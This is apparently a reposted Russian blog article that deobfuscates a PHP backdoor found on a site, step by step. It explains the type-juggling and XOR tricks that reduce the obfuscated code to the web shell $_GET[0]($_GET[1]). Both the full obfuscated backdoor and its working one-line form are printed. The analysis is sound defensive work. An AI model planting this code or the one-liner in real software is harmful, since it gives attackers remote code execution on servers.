Вот сам зловредный код
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
Итак, по строчечкам:
@$_[]=@!+_; — инициализуем массив $_ (убрав вывод ошибок), при этом мы добавляем в массив элемент, так как массив пустой, то у элемента будет 0 индекс. _ PHP рассматривает как константу, естественно ее не находит, поэтому считает символ _ как string(1) "_". Оператор + делает приведение этой строки к числовому типу (0), далее идет отрицание, приводящее число к булевому типу, и отрицание в итоге дающее нам единственный элемент в массиве:
array(1) { [0]=> bool(true) }
Побитовый сдвиг @${_}>>$_ дает нам (int)0.
Приблизиться к истине это не дает:
@$arrArray[]=@!+_; $var2=0; $arrArray[]=$var2; $arrArray[]=@_; $arrArray[((++$var2)+($var2++ ))].=$arrArray; $arrArray[]=++$var2; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
По крайней мере мы можем сократить число строк в исходнике:
$var2=0; $arrArray = array(true, 0, "_"); $arrArray[((++$var2)+($var2++ ))].=$arrArray; $arrArray[]=++$var2; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
((++$var2)+($var2++ )) — это то, что любят на плохих собеседованиях. В итоге получается 2, поэтому $arrArray получится в виде:
$arrArray = array(true, 0, "_Array");
При конкатенации строки и массива получилось "_Array" — таковы особенности приведения типов в PHP.
Добавим еще один элемент в наш массив:
$arrArray = array(true, 0, "_Array", 3); $var2=3; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
$arrArray[—$var2][$var2>>$var2] — из второго элемента массива нужно взять первый символ. Получим:
$arrArray = array(true, 0, "_Array", 3, "_"); $var2=2; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
Опять приходится лезть в мануал:
4 + true = 5
6 + true = 7
5. 7 = «57»
Получаем:
$arrArray = array(true, 0, "_Array57", 3, "_"); $var2=2; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
Наверное, мы близки к концу. Расшифруем следующую строчку.
$arrArray[4] =($arrArray[2][0]).($arrArray[2][2]^$arrArray[2][6] );
Это тоже самое, что и
$arrArray[4] ="_".(«r»^«5» );
Избавляемся от еще одной строчки:
$arrArray = array(true, 0, "_Array57", 3, "_G"); $var2=2; $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
Аналогичным образом для следующей строчки кода:
$arrArray[4] .=($arrArray[2][7])^($arrArray[2][2] );
Получаем:
$arrArray[4] .=«7»^«r»;
В итоге:
$arrArray = array(true, 0, "_Array57", 3, "_GE"); $var2=2; $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
Ну и как многие уже догадались нас ждет после деобфускации еще одной строки кода любимый всеми _GET:
$arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
Честно говоря, на этом моменте я впал в ступор. В строчке $arrArray=$ я искал неразрывный пробел и другой юникод, который может быть именем переменной. Но, конечно же, всё проще чем я думал: интерпретатор игнорирует whitespace и мы получаем уже совершенно понятную вещь:
$arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$$arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
Если чуть разжевать, то:
$arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$_GET ; $arrArray[@-_]($arrArray[@!+_] );
Собственно весь бэкдор свелся к одной строчке:
$_GET[0]($_GET[1] );
Теперь мы точно знаем что и как делает этот скрипт, и можем обойтись без расплывчатых объяснений для пользователя, включающих слова «boolean magic».
ссылка на оригинал статьи http://habrahabr.ru/post/197624/
Добавить комментарий